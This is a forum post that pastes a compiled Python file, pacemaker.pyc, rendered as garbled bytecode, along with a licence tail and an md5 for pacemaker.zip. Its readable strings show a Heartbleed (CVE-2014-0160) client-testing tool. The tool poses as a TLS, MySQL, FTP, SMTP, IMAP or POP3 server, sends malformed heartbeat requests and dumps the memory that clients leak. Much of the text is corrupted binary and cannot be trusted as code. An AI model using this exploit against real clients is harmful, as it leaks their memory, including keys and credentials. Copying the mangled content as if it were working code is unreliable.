THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE
OR OTHER DEALINGS IN THE SOFTWARE.

Link to comment
Share on other sites

2nd Part because the first was too long

pacemaker.pyc

Û
˛JSc
@sJ[1]yddlZWnddlZnXddl[1]Z[1]ddl

Z

ddl

Z

ddlZddlZdd[1]lmZed

d

ÉZ e j
ddddd d
É[1][1]e j
d
d
d
d
d dÉ[1][1]e j
ddde
d
dd dÉ[1]

e j
ddd
ddddddddgd d‑É[1]

e j
d­d de
d
d!d d"É[1]

e j
d#d
e
ddd d$É

e j
d%d&de
d
d'd d(É[1]

d)ÑZ
d*ÑZ
d+ÑZd,efd-ÑÉYZd.efd/ÑÉYZe
d0ÑZd1ÑZd2ejfd3ÑÉYZd4ejfd5ÑÉYZd6ÑZed7k[1]rF[1]e jÉZy
eeÉWqF[1]

e‑k
rB[1]qF[1]XndS(8iˇˇˇˇN(t
ArgumentParsert
descriptions+Test clients for Heartbleed (CVE-2014-0160)s[1]-6s--ipv6tactiont
store_truet

helps?Enable IPv6 addresses (implied by IPv6 listen addr. such as ::)s[1]-ls--listentdefaultts)Host to listen on (default "%(default)s")s[1]-ps--portt

typeiQs+TCP port to listen on (default %(default)d)s[1]-cs--clientt

tlstchoicestmysqlt

ftpt

smtpt

imapt

pop3s(Target client type (default %(default)s)s[1]-ts --timeouti

s@Timeout in seconds to wait for a Heartbeat (default %(default)d)s
--skip-servers5Skip ServerHello, immediately write Heartbeat requests[1]-xs--countis=Number of Hearbeats requests to be sent (default %(default)d)c[1]

Cs®d|}[1]|[1]d[1]7}[1]|[1]d

7}[1]|[1]d

7}[1]|[1]d|7}[1]|[1]d7}[1]|[1]djdÑ|DÉÉ7}[1]|[1]d7}[1]|[1]d 7}[1]|[1]d
7}[1]|[1]d
7}[1]|[1]d
7}[1]tj[1]|[1]j

d
d
É[1]ÉS(Ns

16 s 00 31s 02 00s 00 2dt st
52 34 c6 6d 86 8d e8 40 97 da
ee 7e 21 c4 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7
95 8c 33 42 3f d5 00
c[1]

ss‑|]}dj|ÉVq

dS([1]s{:02x}N(tformat([1]t[1].0tc((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pys <genexpr>/s[1]s

00s 00 05s 00 0fs 00 01s

01s
R(

t

joint bytearraytfromhextreplace(

tsslvertciphert

data((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
make_hello"s[1]






c[1]

CsAd|}|d[1]7}|d

7}|d

7}tj|j[1]ddÉ[1]ÉS(Ns

18 s 00 03s

01s ff eds
R(

RRR([1]RR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
make_heartbeat8s




cCs«d
}d

}[1]x¥td

t|Éd[1]É

D]ö}

||

|

d[1]!}

|

|t|

É k[1]rÖ|[1]d

7}[1]|[1]dk[1]rpdGHn|[1]dkrÖq%qÖndj[1]|

dj

d Ñ|

DÉÉd
j

d
Ñ|

DÉÉÉ

GHq%WdS(
Ntiiii[1]t*s{:04x}: {:47} {}Rc[1]

ss‑|]}dj|ÉVq

dS([1]s{:02x}N(R([1]RR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pys <genexpr>Rs[1]Rc[1]

ss9|]/}|dkr-|dkr-t|Én

d[1]Vq

d

S(

i it.N(t

chr([1]RR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pys <genexpr>Ss[1]t(

tranget

lenRR(Rt allzeroest zerolinestit

line((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pythexdumpDs[1]­


[1] tFailurecBseZRS(([1]t__name__t
__module__(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR(Us[1]t
RecordParserc[1]BsGeZe[1]j

dÉZ

dÑZd[1]ÑZd

ÑZd

ÑZe dÑZ
RS(s

!BHHc[1]Cs"tÉ|_d|_[1]d|_

dS([1]Ni(Rtbuffert
buffer_lent

Nonet
record_hdr(t

self((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt__init__Zs
c[1][1]

Cs(|

j|7[1]_|

jt[1]|É7[1]_dS(N(

R,R-R"([1]R0R((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt

feed_s

c

CsL|jdkrE|j[1]|j

j

krE|j

jt|jÉÉ|_n|jS(N(R/R.R-trecord_st

sizet
unpack_fromtbytesR,(R0((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
get_headercs$!c[1]

Cs7|jj}|j[1]Ér,||j

d7}n||j

S([1]s4Zero or lower indicates that a fragment is availablei[1](R3R4R7R/R-([1]R0t
expected_len((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
bytes_neededhs[1]

c[1]Csó|jÉsdS|j[1]\

}[1]}

}

|j

j

|

}|
rL|j|krLdS|j|j

j

|!}|j|4|

j|8[1]_d|_[1]|[1]|

t|Éf

S(N(R7R.R/R3R4R-R,R6(R0tpartialt
record_typeRt
fragment_lent
record_lentfragment((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
get_recordos

[1][1]

[1][1]
[1](
R)R*tstructtStructR3R1R2R7R9tFalseR?(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR+Xs

c

Cs˜tÉ}

tjÉ|}

d}|

j

É}x≥|dk

r‡|dk

r‡t

j

|ggg|É

\

}}}|sÉtjd[1]É}Pny‑|

j|dj|ÉÉWn

tj k
r¿} | }PnX|

j

É}|

tjÉ}q.W|

j
d

|[1]É|f[1]S(

Nis­Timeout while waiting for bytesR:(
R+t

timeR.R9tselecttsocketttimeoutR2t

recvterrorR?(
t

sockRFR:trparsertend_timeRHt
bytes_to_readt[1]rlt_te((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
read_recordÅs" [1]
$[1]

[1]

[1]
[1]c[1]
CsÎtjÉ|}[1]tÉ}

d}

d}d}x8t

|

É|

kre|d[1]k

ret

||d

[1]\[1]}}|sqPn|\

}} }
|d

k[1]r|

st

|
ÉdkrΩ|rÆPntdÉÇn|
d[1]d!dk

rtdÉÇntjd |

\}

|

|
d
­7}

qR|

|
7}

n=|d
k[1]r=t

|
Éd
k[1]r=|
}Pntd
j |ÉÉÇ|[1]tjÉ}q.W|r»|d[1]d!t
|dd
[1]}
}
|
dk[1]rüd
n

d
}
dj |
|
É[1]GH|

s»dGHdSn|rÁ|

rÁdt
|ÉGHn|

S(NiiR:ii

sResponse too smalls[1]s$Expected Heartbeat in first responses[1]!Hi[1]isUnexpected record type {}tWarningtFatals#Got Alert, level={}, description={}s4Not vulnerable! (Heartbeats disabled or not OpenSSL)s$Did not receive heartbeat response! (
RCRR.R"RPt

TrueR(R@R5Rt

ordt

str(
RIRFRKtmemorythb_lent
read_errortalerttrecordR;RNR>t

lvlt

desc((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytread_hb_responseôsH [1]!

[1]
[1]

[1][1][1]

[1]

!

[1]t
RequestHandlercBskeZdÑZ[1]dÑZ

d[1]ÑZ

d

ÑZd

ÑZdÑZdÑZdÑZ dÑZ
d ÑZ
d
ÑZ
RS(
cCsÜ|jj|_d|_[1]|j

j

Éd[1] \[1]}}[1]d

j||[1]É[1]GHyÂ|j

jd[1]Éd

|jj}

t||

É[1]rít ||

É[1]|j

ÉdGHn|jj
s´|j
Énxxt
d|jj
É[1]D]a}

y|j
És⁄PnWq¡

tjk
r!}|

dk[1]r
dt|ÉGHndt|ÉGHPq¡Xq¡WWnS

ttjtjf

k
rZ}d t|ÉGHn#

tk
r|d
GH|jjÉnXd
GHdS(
Ns03 01i[1]sConnection from: {}:{}tprepare_s2Pre-TLS stage completed, continuing with handshakeis Unable to send first heartbeat! s Unable to send more heartbeats, s#Unable to check for vulnerability: sShutting down...R(tservert

argsRtrequestt
getpeernameRt
settimeouttclientthasattrtgetattrt
skip_servert
do_serverhelloR!tcounttdo_evilRERHRUR(RFtKeyboardInterruptt

kill(R0t
remote_addrt
remote_portt prep_methR%RO((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pythandleŒs6 [1]

[1][1]

[1]

[1]

[1][1]c
Csë|jdd[1]É[1]\

}}[1]}

|j|

d

kd

É[1]|dk[1]rLt[1]dÉÇn|j|dk[1][1]|j

j

|

É}

|jt|

É|

k[1]d É[1]tjd
|

d
É[1]\

}}}}[1]|j|d
k[1]d
É[1]d}tjd|

||d
[1]\} |d
| 7}|j|

|dkdÉ[1]tjd|

||d!É[1]}
|d7}t|

||d!É}
dj |[1]d?|[1]d@É[1]|_
|j

j
t
|j
|
É[1]ÉdS(Ns

>BHHs
TLS recordi'sIllegal handshake packetiÄs SSL 2.0 clients cannot be testedisExpected Handshake typesUnable to read handshakes>BBHHiisExpected Client Helloi tBi

sIllegal handshake packet (2)s[1]<Hi[1]s
{:02x} {:02x}iiˇi&(
trecv_stexpectR(RbRGR"R@tunpackRRRtsendallR(
R0t
content_typet

vertrec_lent

hndthnd_typetlen_hightlen_lowt

offtsid_lent
ciphers_lenR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRiÚs$[1][1]
[1]

"[1]
[1]
[1][1]

c[1]

Csx|jjt[1]|j

ÉÉt

|j|jjÉ[1]}|d

k rM|
rMdGHtS|rtd[1]j t
|ÉÉGHt
|Ént
S(

s(Returns True if memory *may* be acquiredsPossibly not vulnerables"Client returned {0} ({0:#x}) bytesN(
RbRvRRR]RaRFR.RBRR"R'RS([1]R0RV((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRks

[1]c

[1]Cs|st|[1]ÉÇndS(N(R((

R0t

condt

what((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRt&s

c[1]Cs¶d}[1]|jtj[1]|[1]j

d[1]d

É[1]ÉÉd

GH|j

ddÉ[1]\

}

}

}}|

d>|

B}|j|dk[1]d É[1]|j|d
@d
É[1]d
j|ÉGH|j|d
ÉdS(
NsM
56 00 00 00 0a 35 2e 35 2e 33 36 2d 4d 61 72 69
61 44 42 2d 6c 6f 67 00 04 00 00 00 3d 3b 4e 57
4c 54 44 35 00 ff ff 21 02 00 0f e0 15 00 00 00
00 00 00 00 00 00 00 7c 36 33 3f 23 2e 5e 6d 2d
34 5c 54 00 6d 79 73 71 6c 5f 6e 61 74 69 76 65
5f 70 61 73 73 77 6f 72 64 00
s
RsServer Greeting sent.s<BHBHsMySQL handshakeii s Expected SSLRequest length == 32isMissing Client SSL supportsSkipping {} packet bytes...i[1](RvRRRRsRtRRG(R0RItgreetingR}R|tseqidt

capst
packet_len((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
prepare_mysql+s
"[1]
[1]
[1]c[1]

Csp|jdjd[1]ÉÉ|j[1]d

Éj

d[1]Éj

É}[1]|j|[1]d kd|[1]É[1]|jtd|[1]dd[1]É[1]ÉdS(
Ns220 pacemaker test
tasciiisAUTH SSLsAUTH TLSsUnexpected response: s

234 s[1]
([1]sAUTH SSLsAUTH TLS(RvtencodeRGtdecodetstripRtR(

R0RIR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
prepare_ftpBs

c[1][1]Cs|jdddg[1]É[1]dS(Ns+OK pacemaker ready
t

CAPAs
+OK
STLS
.
t

STLSs+OK
([1]Rçs
+OK
STLS
.
([1]Rés+OK
(tdo_conversation([1]R0RI((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
prepare_pop3Is

c[1][1]Cs|jdddg[1]É[1]dS(Ns220 pacemaker test
sEHLO s#250-example.com Hi!
250 STARTTLS
tSTARTTLSs
220 Go ahead
([1]sEHLO s#250-example.com Hi!
250 STARTTLS
([1]sSTARTTLSs
220 Go ahead
(Rè([1]R0RI((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
prepare_smtpOs

c[1]Cs˘d}[1]d[1]d

|[1]d

f[1]dg[1]}

|jd|[1]djd ÉÉx¥|

D]¨\[1]}

}|j[1]d
Éj

d Éj

É}|jd
|kd
[1]|jd
d
É[1]\[1]}}|j|t|

É |

k[1]d
|

d|É[1]||d7}|j|jd ÉÉqEWdS(NsCAPABILITY IMAP4rev1 STARTTLSt
CAPABILITYs[1]* s[1]
RëRs* OK ready
RàiRsIMAP protocol violation, got i[1]s Expected s, got s OK
([1]sSTARTTLSR(RvRâRGRätupperRttsplitR"(R0RIRÖt

talkt

expt

respRt

tag((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
prepare_imapUs[1] [1][1]
c

Csö|jj|j[1]dÉÉxz|[1]D]r\[1]}

}

|jj

d[1]Éj

dÉjÉ}|j|t|

É |

k[1]d

|

d

[1]|jj|

j[1]dÉÉq WdS(s3Helper to handle simple request-response protocols.Ràis Expected s, got N(RbRvRâRGRäRîRtR"(R0RÉRñRóRòR((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRèfs
[1][1]!c

Csntj|É}

|j[1]j

|

j

É}

dj|[1]t|

É|

j

É

}|jt|

É|

j

k[1][1]|

j|

ÉS([1]Ns{}: received only {}/{} bytes( R@RARbRGR4RR"RtRu(R0t
struct_defRÇtsRt

msg((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRsps
‑­(
R)R*RqRiRkRtRáRåRêRíRöRèRs(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR^Õs $ !
tPacemakerServercBs#eZdÑZ[1]dÑZ

d[1]ÑZ

RS(

c[1]

Cse|j|jf[1]}[1]t[1]|_

|j

s3d|jkrBtj|_ntj j
||[1]t
É

||_
dS([1]Nt:(
tlistent

portRStallow_reuse_addresst

ipv6REtAF_INET6t
address_familyt
socketservert TCPServerR1R^Ra(

R0Rat
server_address((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyR1xs
c[1]Cs't|_x|js"|j[1]Éq
WdS(N(

RBtstoppedt
handle_request(R0((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt
serve_foreverÄs
c[1]Cs
t|_dS(N([1]RSR©(R0((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRmÖs[1]®R*R1R´Rm(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyRûws c[1]

Cs7dj|j|j[1]|j

É

GHt

|É}|jÉdS([1]Ns!Listening on {}:{} for {} clients(RR†R°ReRûR´([1]RaR`((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pytserveàs
t__main__(­R¶t
SocketServerREt

sysR@RDRCtargparseRtparsert
add_argumentt

intRBRRR't ExceptionR(tobjectR+RPR]tBaseRequestHandlerR^RßRûR¨R)t
parse_argsRaRl(((s8/Users/mohaab007/Downloads/pacemaker-master/pacemaker.pyt<module>sP


[1][1][1]

)
4™

Finally, the current md5 of pacemaker.zip: 6a67173e0bb3f1ff1e3840261063acee

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...